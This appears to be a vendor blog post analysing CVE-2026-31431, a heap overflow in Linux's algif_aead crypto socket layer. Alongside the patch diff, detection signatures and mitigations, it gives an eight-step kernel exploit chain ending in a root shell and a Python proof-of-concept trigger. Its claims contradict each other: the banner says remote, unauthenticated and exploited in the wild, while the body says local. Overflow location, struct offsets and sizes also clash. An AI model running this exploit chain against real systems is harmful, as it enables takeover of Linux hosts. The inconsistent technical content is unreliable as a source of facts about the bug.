home intel cve-2026-31431-algif-aead-inplace-rce-linux
CVE Analysis 2026-04-22 · 9 min read

CVE-2026-31431: algif_aead In-Place Op Confusion Leads to LPE

A broken in-place scatter-gather optimization in Linux's algif_aead socket layer allows heap corruption via mismatched src/dst mappings, enabling local privilege escalation to root.

#linux-kernel#cryptography#aead-cipher#memory-management#in-place-operation
Technical mode — for security professionals
▶ Attack flow — CVE-2026-31431 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-31431Linux · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessActively exploited in the wild

Vulnerability Overview

CVE-2026-31431 is a CVSS 7.8 HIGH local privilege escalation vulnerability in the Linux kernel's algif_aead interface — the AF_ALG socket layer that exposes kernel AEAD (Authenticated Encryption with Associated Data) ciphers to userspace. The bug was introduced by commit 72548b093ee3, which attempted to optimize AEAD operations by running them in-place — reusing the same scatter-gather list for both plaintext input and ciphertext output. The optimization is fundamentally invalid: the source and destination mappings in algif_aead are always distinct userspace buffers, meaning in-place operation causes the crypto engine to write output into memory it doesn't own, producing heap corruption exploitable for LPE.

The fix — referenced in the CVE description — reverts the in-place logic introduced by 72548b093ee3 while retaining one behavioral improvement: direct copying of associated data (AD) rather than referencing it through the SGL.

Root cause: algif_aead_encrypt() passes a single scatterlist as both src and dst to aead_request_set_crypt(), but the underlying page mappings are sourced from two independent userspace iov_iter regions, causing the AEAD transform to scribble ciphertext over the wrong physical pages.

Affected Component

File: crypto/algif_aead.c
Subsystem: AF_ALG — kernel crypto API userspace interface
Introduced: commit 72548b093ee3 ("crypto: algif_aead - Add in-place support")
Reverted by: the patch resolving CVE-2026-31431
Affected kernel versions: all stable trees carrying 72548b093ee3 through the fix commit, covering ~5.10 LTS through 6.8-rc series on major distributions (Ubuntu, Debian, RHEL derivatives, Arch).

Root Cause Analysis

The AEAD socket interface works by accepting two separate data regions from userspace via sendmsg() — the associated data (AD) prepended to the message, followed by plaintext (or ciphertext). These arrive via ctx->tsgl (the TX scatter-gather list). The destination is a separate iov_iter backed by a different set of user pages pinned at the time of recvmsg().

Commit 72548b093ee3 introduced the following in algif_aead_encrypt():

/* VULNERABLE — post-72548b093ee3, pre-fix */
static int algif_aead_encrypt(struct aead_request *req,
                               struct sock *sk,
                               struct msghdr *msg,
                               size_t size)
{
    struct algif_aead_ctx *ctx = alg_sk(sk)->private;
    struct aead_async_req *areq;
    struct scatterlist *tsgl, *rsgl_src, *rsgl_dst;
    int err;

    /* tsgl is built from sendmsg() pages — the SOURCE */
    tsgl = areq->tsgl;

    /* rsgl_src is built from recvmsg() iov — the DEST */
    rsgl_src = areq->first_rsgl.sgl.sg;

    /*
     * BUG: in-place flag set unconditionally. aead_request_set_crypt()
     * receives tsgl for BOTH src and dst when the in-place path triggers.
     * rsgl_src is ignored. Output is written back into the TX pages —
     * the wrong mapping entirely.
     */
    if (ctx->op.inplace) {                          // BUG: always true after 72548b093ee3
        aead_request_set_crypt(&areq->aead_req,
                               tsgl,
                               tsgl,               // BUG: dst == src, should be rsgl_src
                               size,
                               areq->iv);
    } else {
        aead_request_set_crypt(&areq->aead_req,
                               tsgl,
                               rsgl_src,
                               size,
                               areq->iv);
    }

    /* AD is set via aead_request_set_ad() — offset into tsgl */
    aead_request_set_ad(&areq->aead_req, ctx->aead_assoclen);

    err = crypto_aead_encrypt(&areq->aead_req);
    /* On completion, ciphertext landed in tsgl pages, not rsgl pages.
     * rsgl pages (user recv buffer) contain stale or zero data.
     * tsgl pages (user send buffer) have been overwritten out-of-bounds
     * by the auth tag appended past the plaintext length. */
    return err;
}

The critical detail: AEAD encryption appends an authentication tag (typically 16 bytes for AES-GCM) after the ciphertext. When the plaintext fills the TX scatter-gather list exactly to its allocated page boundary, the tag write lands one page past the end of the pinned TX region — into the adjacent slab object.

Memory Layout

The aead_async_req struct and its associated scatter-gather tail are laid out contiguously in a kmalloc slab. With a 16-byte GCM auth tag overflow, the corruption target is predictable:

struct aead_async_rsgl {
    /* +0x00 */ struct af_alg_sgl  sgl;         // contains sg[] and page[] arrays
    /* +0x28 */ struct list_head   list;
};

struct aead_async_req {
    /* +0x00 */ struct kiocb      *iocb;
    /* +0x08 */ struct aead_async_rsgl first_rsgl;   // first RX sgl node
    /* +0x38 */ struct list_head   list;              // overflow lands here on tight alloc
    /* +0x48 */ struct crypto_wait wait;
    /* +0x58 */ size_t             outlen;
    /* +0x60 */ u8                 iv[];              // variable, cipher IV
               /* tsgl[] follows after iv */
};
HEAP STATE — kmalloc-512 slab, GCM plaintext = 480 bytes (fills tsgl exactly):

  [aead_async_req @ 0xffff888004a00000]  size=0x1e0
    +0x000: iocb ptr         = 0xffff888003c10480
    +0x008: first_rsgl.sgl   = { sg[0..3], page[0..3] }
    +0x060: iv[16]           = { attacker-controlled GCM IV }
    +0x070: tsgl[0]          = { page=TX_PAGE_0, offset=0, length=480 }
    +0x090: [END OF OBJECT]

  [next slab object @ 0xffff888004a001e0]  <-- ADJACENT
    +0x000: struct skb_shared_info or sock llist node
    +0x000: void *destructor_arg   = 0xffff888003a11200

HEAP STATE AFTER ENCRYPT — 16-byte GCM tag written past offset 480:

  [aead_async_req @ 0xffff888004a00000]
    +0x070: tsgl[0]          = { length=480, data written OK }

  [CORRUPTED @ 0xffff888004a001e0]
    +0x000: 0x[16 bytes of GCM authentication tag]
    --> destructor_arg pointer overwritten with tag bytes
    --> controlled if attacker controls plaintext → controls tag layout via AAD

Exploitation Mechanics

EXPLOIT CHAIN — CVE-2026-31431 LPE via algif_aead in-place tag overflow:

1. Open AF_ALG AEAD socket:
     fd = socket(AF_ALG, SOCK_SEQPACKET, 0)
     bind(fd, {ALG_TYPE="aead", ALG_NAME="gcm(aes)", ...})
     setsockopt(fd, SOL_ALG, ALG_SET_KEY, key_16b, 16)
     setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16)
     cfd = accept(fd, NULL, 0)

2. Spray kmalloc-512 to place a victim struct_file or seq_operations
   immediately after the aead_async_req allocation. Use userfaultfd
   or io_uring to pause between sendmsg and recvmsg for timing.

3. Craft sendmsg payload:
     cmsg: ALG_SET_IV (16 bytes, attacker-controlled)
     cmsg: ALG_SET_OP  = ALG_OP_ENCRYPT
     cmsg: ALG_SET_AEAD_AUTHSIZE not needed (set at setsockopt)
     iov:  assoclen=32 bytes of AD + 464 bytes plaintext
           total TX = 496 bytes → fills tsgl to slab boundary in kmalloc-512

4. Issue recvmsg() with iov pointing to a separate user buffer (correct path
   would write here; buggy path writes auth tag into next slab object instead).

5. GCM auth tag (16 bytes) is written to offset +0x1f0 of kmalloc-512 object,
   corrupting seq_operations->show pointer of a /proc/self/net/... fd.

6. Manipulate plaintext so that computed GCM tag bytes form a valid kernel
   address: iterate over known-good plaintexts offline, select one where
   tag[0:8] = &fake_show_fn in kernel .text (info-leak via /proc/kallsyms
   or side-channel required for KASLR bypass — see step 6a).

   6a. KASLR bypass: exploit /proc/kallsyms world-readable on unhardenend
       configs, OR use a secondary info leak (e.g. uninitialized stack via
       CONFIG_INIT_STACK_ALL=n) to leak a kernel text pointer.

7. read() on the /proc fd whose seq_operations->show was corrupted:
     → kernel calls corrupted .show pointer
     → RIP control at kernel privilege level

8. Payload: commit_creds(prepare_kernel_cred(NULL)) → uid=0 shell.
#!/usr/bin/env python3
# PoC trigger — demonstrates heap corruption without full exploit chain
# Requires: Linux with 72548b093ee3, CAP_NET_RAW or unprivileged AF_ALG

import socket, struct, ctypes, os
from ctypes import *

libc = CDLL("libc.so.6", use_errno=True)

AF_ALG    = 38
SOL_ALG   = 279
ALG_SET_KEY           = 1
ALG_SET_AEAD_AUTHSIZE = 4
ALG_OP_ENCRYPT        = 0

class sockaddr_alg(Structure):
    _fields_ = [("salg_family", c_uint16),
                ("salg_type",   c_uint8 * 14),
                ("salg_feat",   c_uint32),
                ("salg_mask",   c_uint32),
                ("salg_name",   c_uint8 * 64)]

fd = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
addr = sockaddr_alg()
addr.salg_family = AF_ALG
for i, c in enumerate(b"aead\x00"):
    addr.salg_type[i] = c
for i, c in enumerate(b"gcm(aes)\x00"):
    addr.salg_name[i] = c

fd.bind(addr)
fd.setsockopt(SOL_ALG, ALG_SET_KEY, b"\x00" * 16)
fd.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 16)
cfd, _ = fd.accept()

# 464 bytes plaintext + 32 bytes AD = 496 bytes in kmalloc-512 tsgl
# Auth tag (16 bytes) will overflow into adjacent slab object
assoc   = b"\xAA" * 32
payload = b"\x42" * 464

import socket as _s
# Send with AEAD cmsg headers (simplified — real PoC uses raw sendmsg)
cfd.sendmsg([assoc + payload],
            [(_s.SOL_ALG, 2, struct.pack("II", ALG_OP_ENCRYPT, 0))])

recv_buf = bytearray(496 + 16)
try:
    cfd.recv_into(recv_buf, len(recv_buf))
    print("[*] recv completed — check adjacent slab for corruption")
except Exception as e:
    print(f"[!] Exception (may indicate kernel panic from corruption): {e}")

Patch Analysis

The fix reverts the in-place optimization entirely and restores separate src/dst scatter-gather lists. It also hardens the associated data path by copying AD directly into the request buffer rather than referencing TX pages, eliminating a secondary UAF window during async completion.

// BEFORE (vulnerable — 72548b093ee3):
static int algif_aead_setup_async_req(struct aead_async_req *areq,
                                       struct sock *sk, ...)
{
    /* ... build tsgl from TX pages ... */

    /* In-place: dst == src unconditionally */
    aead_request_set_crypt(&areq->aead_req,
                           areq->tsgl,
                           areq->tsgl,      // BUG: should be rsgl (RX pages)
                           cryptlen,
                           areq->iv);

    /* AD referenced via offset into tsgl — page still held by sendmsg */
    aead_request_set_ad(&areq->aead_req, assoclen);
}


// AFTER (patched — CVE-2026-31431 fix):
static int algif_aead_setup_async_req(struct aead_async_req *areq,
                                       struct sock *sk, ...)
{
    /* Copy AD directly into areq->tsgl data buffer — no page reference */
    memcpy(areq->iv + ivsize, ad_src, assoclen);   // AD safely copied
    sg_init_one(&areq->tsgl[0], areq->iv + ivsize, assoclen);

    /* Build ciphertext SGL from TX pages starting after AD */
    /* ... populate areq->tsgl[1..n] from ctx->tsgl ... */

    /* Out-of-place: src=tsgl (TX+copied AD), dst=rsgl (RX user pages) */
    aead_request_set_crypt(&areq->aead_req,
                           areq->tsgl,
                           areq->first_rsgl.sgl.sg,  // FIXED: separate dst
                           cryptlen,
                           areq->iv);

    aead_request_set_ad(&areq->aead_req, assoclen);
}

The auth tag overflow is eliminated because the output scatter-gather list now points to the caller's RX pages, which are independently allocated and sized to include the tag (cryptlen + authsize). The tag is no longer written past the TX slab boundary.

Detection and Indicators

Exploitation produces characteristic kernel telemetry:

KASAN report (if CONFIG_KASAN=y):
  BUG: KASAN: slab-out-of-bounds in gcm_hash_crypt_remain_continue+0x1a4/0x230
  Write of size 16 at addr ffff888004a001e0 by task poc/1337
  Allocated by task 1337:
   aead_request_alloc+0x4c/0x80
   algif_aead_sendmsg+0x218/0x490
  Freed by task 0: (not freed)

SLUB debug (CONFIG_SLUB_DEBUG=y):
  =============================================================================
  BUG kmalloc-512 (Tainted: G    B            ): Redzone overwritten
  -----------------------------------------------------------------------------
  INFO: 0xffff888004a001e0-0xffff888004a001ef @offset=480

/proc/kmsg indicators:
  general protection fault: 0000 [#1] SMP KASAN
  RIP: 0010:0x4242424242424242    ← tag bytes used as code pointer

auditd syscall filter triggers:
  type=SYSCALL msg=...: arch=x86_64 syscall=socket(AF_ALG) success=yes
  type=SYSCALL msg=...: syscall=setsockopt optname=ALG_SET_AEAD_AUTHSIZE
  type=SYSCALL msg=...: syscall=sendmsg fd= success=yes
  type=PROCTITLE msg=...: proctitle="./lpe_poc"

Network/EDR signatures: any process opening AF_ALG + SOCK_SEQPACKET with ALG_SET_AEAD_AUTHSIZE and immediately spawning a shell child should be treated as high-confidence IOC. execve("/bin/sh") from a non-shell parent with uid transition 1000→0 in CLONE_NEWUSER namespace is the final indicator.

Remediation

Immediate: Apply the upstream fix reverting 72548b093ee3. Canonical patch is available in crypto/algif_aead.c in the stable trees. Verify with:

$ grep -n "inplace" crypto/algif_aead.c
(no output expected on patched kernels)

Mitigations if patching is not immediately possible:

  • Restrict AF_ALG socket creation to privileged users via seccomp or LSM policy: socket(AF_ALG, ...) → deny for unprivileged UIDs
  • Set kernel.unprivileged_userns_clone=0 (Debian/Ubuntu sysctl) to break namespace-based exploitation paths
  • Enable CONFIG_KASAN on sensitive workloads to convert silent corruption into a detectable BUG()
  • Deploy auditd rule: -a always,exit -F arch=b64 -S socket -F a0=38 -k af_alg_watch

Kernel config hardening (defense-in-depth): CONFIG_INIT_STACK_ALL_ZERO=y, CONFIG_RANDOMIZE_KSTACK_OFFSET=y, CONFIG_SHUFFLE_PAGE_ALLOCATOR=y all increase exploitation difficulty by disrupting deterministic heap layout required in step 2 of the exploit chain.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →